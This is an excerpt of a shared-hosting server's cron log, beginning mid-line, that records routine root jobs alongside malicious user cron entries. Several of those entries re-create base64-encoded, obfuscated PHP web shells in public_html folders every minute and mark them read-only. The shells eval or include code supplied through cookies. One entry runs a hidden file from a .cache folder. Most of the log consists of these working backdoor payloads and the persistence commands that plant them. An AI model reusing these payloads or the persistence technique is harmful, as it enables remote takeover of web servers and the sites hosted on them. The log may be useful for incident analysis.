fQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:47:01 medusa CROND[32266]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:47:01 medusa CROND[32273]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:47:01 medusa CROND[32269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:47:01 medusa CROND[32275]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:47:01 medusa CROND[32271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 03:48:01 medusa CROND[22255]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:48:01 medusa CROND[22256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:48:01 medusa CROND[22257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:48:01 medusa CROND[22258]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:48:01 medusa CROND[22259]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:48:01 medusa CROND[22261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:48:01 medusa CROND[22262]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:48:01 medusa CROND[22264]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:48:01 medusa CROND[22266]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:48:01 medusa CROND[22268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:48:01 medusa CROND[22269]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:48:01 medusa CROND[22275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:48:01 medusa CROND[22277]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 03:49:01 medusa CROND[12147]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:49:01 medusa CROND[12152]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:49:01 medusa CROND[12153]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:49:01 medusa CROND[12155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:49:01 medusa CROND[12156]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:49:01 medusa CROND[12157]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 03:49:01 medusa CROND[12161]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:49:01 medusa CROND[12163]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:49:01 medusa CROND[12165]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:49:01 medusa CROND[12168]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:49:01 medusa CROND[12164]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:49:01 medusa CROND[12160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 03:50:01 medusa CROND[1681]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 03:50:01 medusa CROND[1748]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:50:01 medusa CROND[1749]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 03:50:01 medusa CROND[1750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 03:50:01 medusa CROND[1751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 03:50:01 medusa CROND[1754]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 03:50:01 medusa CROND[1757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
